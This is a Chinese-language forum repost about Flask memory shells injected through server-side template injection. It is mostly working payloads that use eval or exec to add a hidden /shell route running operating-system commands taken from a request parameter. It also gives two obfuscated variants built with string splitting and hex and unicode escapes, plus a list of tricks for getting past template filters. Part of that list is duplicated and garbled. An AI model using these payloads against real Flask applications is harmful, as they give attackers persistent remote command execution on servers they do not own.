flask内存马的真谛!!!

打印 上一主题 下一主题

主题 884|帖子 884|积分 2654

flask内存马

1.概念

常用的Python框架有Django、Flask, 这两者都大概存在SSTI漏洞. Python 内存马使用Flask框架中SSTI注入来实现, Flask框架中在web应用模板渲染的过程中用到render_template_string进行渲染, 但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python内存马的注入.
2.上下文管理机制

当网页哀求进入Flask时, 会实例化一个Request Context. 在Python中分出了两种上下文: 哀求上下文(request context)、应用上下文(session context). 一个哀求上下文中封装了哀求的信息, 而上下文的布局是运用了一个Stack的栈布局, 也就是说它拥有一个栈所拥有的全部特性. request context实例化后会被push到栈_request_ctx_stack中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的哀求.
payload

原始Flask内存马Payload:

  1. url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
复制代码

   payload分析

  这段代码展示了怎样在Flask应用中添加一个URL规则,该规则允许实行操作系统命令。详细来说,它使用add_url_rule方法向Flask应用添加了一个新的路由(endpoint),当访问路径为/shell时,会触发相应的处理函数。
让我们逐步分析这段代码:
  1. app.add_url_rule('/shell', 'shell', lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())
复制代码

  • app.add_url_rule(...): 这是Flask框架中的一个方法,用于将URL与视图函数绑定。第一个参数是URL路径,第二个参数是端点名称(endpoint name),第三个参数是要调用的视图函数。
  • '/shell': 这是HTTP哀求的路径,意味着当你访问服务器上的/shell路径时,会触发这个路由对应的处理逻辑。
  • 'shell': 这是端点名称,在Flask内部用来唯一标识这个路由。
  • lambda:: 使用了Python的匿名函数(lambda表达式)来界说视图函数。这里没有显式地界说函数名,而是直接在add_url_rule中界说了要实行的逻辑。
  • __import__('os'): 动态导入Python的内置模块os。通常情况下,我们会使用import os,但这里使用了__import__函数,大概是为了绕过某些限制或检查。
  • .popen(...).read(): os.popen()方法实行传入的命令字符串,并返回一个文件对象,我们可以从这个文件对象中读取命令的输出。.read()方法读取并返回命令的完备输出。
  • _request_ctx_stack.top.request.args.get('cmd', 'whoami'): 这里获取了当前哀求上下文中的查询参数cmd,假如cmd参数不存在,则默认实行whoami命令。_request_ctx_stack是一个内部的栈布局,保存着哀求上下文信息。
payload集合

这里给出两个变形Payload:


  • 原Payload
  1. url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
复制代码


  • 变形Payload-1
  1. request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
复制代码


  • 变形Payload-2
  1. get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})
复制代码
ByPass

在实际应用中通常都存在过滤, 因此相识怎样绕过还是须要的.


  • url_for可替换为get_flashed_messages大概request.__init__大概request.application.
  • 代码实行函数替换, 如exec等替换eval.
  • 字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
  • __globals__可用__getattribute__('__globa'+'ls__')替换.
  • []可用.__getitem__()或.pop()替换.
  • 过滤{{大概}}, 可以使用{%大概%}绕过, {%%}中间可以实行if语句, 使用这一点可以进行雷同盲注的操作大概外带代码实行结果.
  • 过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]大概request['args']大概request['values']绕过.
  • 过滤了.可以采用attr()或[]绕过.
    )[0][0]大概request[‘args’]大概request[‘values’]`绕过.
  • 过滤了.可以采用attr()或[]绕过.
  • 其它的手法参考SSTI绕过过滤的方法即可…
   参考自https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6CjeqmTKiT8ToD#toc-0
    参考自https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

南七星之家

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表